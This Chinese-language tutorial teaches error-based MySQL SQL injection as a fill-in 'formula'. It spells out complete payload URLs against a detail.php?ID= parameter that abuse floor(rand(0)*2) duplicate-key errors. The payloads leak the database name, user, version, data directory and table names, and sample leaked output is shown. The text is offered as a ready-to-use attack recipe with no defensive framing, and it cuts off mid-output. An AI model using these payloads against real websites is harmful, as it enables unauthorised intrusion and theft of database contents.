MySQL错误回显套公式法注入.docVIP

MySQL错误回显套公式法注入ySQL报错回显爆数据，其实主要就是套公式，公式分为4部分 1,逻辑错误部分，也就是将GET变量取值变为逻辑错误值，例如.php?id=0或者.php?id=12+and+1=2 2,固定SQL联合查询语句，语句为：(核心)union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b 3,注释语句，将整个语句后面的部分注释掉，可以用/*注释符，也可以用--终止符，也可以用%23这个#字符 4,注入爆数据语句，基本格式就是select XX from YY的格式。 ------------------------------------------------------------------------------------------------------------------ 注意了！！！这4个固定公式唯一要注意的是最后一个， 最后一个每次只能爆单条数据， 不能updata 不能insert into 不能load_file() 不能group_concat()， 有的concat()也不能用=======》嚓 这样爆数据的话，就要加一个limit x,y的限制条件也就是select XX from YY limit a,ba是从第几条开始，从0开始为以一条，b为目标一共几条数据，这里固定为1，也就是说limit 0,1是第1条数据，limit 1,1是第2条数据，一次类推。 ---------------------------------------------------------------------------------------------------------------- 2.具体的实践~~~ 上面的逻辑你搞不清楚不要紧，你可以先看注入语句再回头研究每个语句的含义 MySQL显示当前数据库名，登陆用户，数据库版本和数据路径的语句是： select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir) 将上面的SQL语句作为语句4带入供述就得到注入语句： /detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+group+by+a)b ============》符合了前面的注意 我们访问一下就得到了：SQL语句错误: Duplicate entry 1:mc110_mc110:mc110@localhost:5.1.34:/usr/local/mysql/var/ for key group_keyDuplicate entry后面的引号中的就是数据，固定去掉数字“1”mc110_mc110是数据库名mc110@localhost是数据库用户5.1.34是版本/usr/local/mysql/var/这里是MySQL的数据路径  然后我们继续看MySQL显示当前所有数据库的表？？语句为：select table_name from information_schema.tables where table_schema = database() limit 0,1或者select table_name from information_schema.columns where table_schema = database() limit 0,1 将这句SQL语句作为上面公式中的4，就得到注入语句： /detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+information_schema.tables+group+by+a)b 复制代码 访问得到：SQL语句错误: Duplicate entry 15epe_admin for key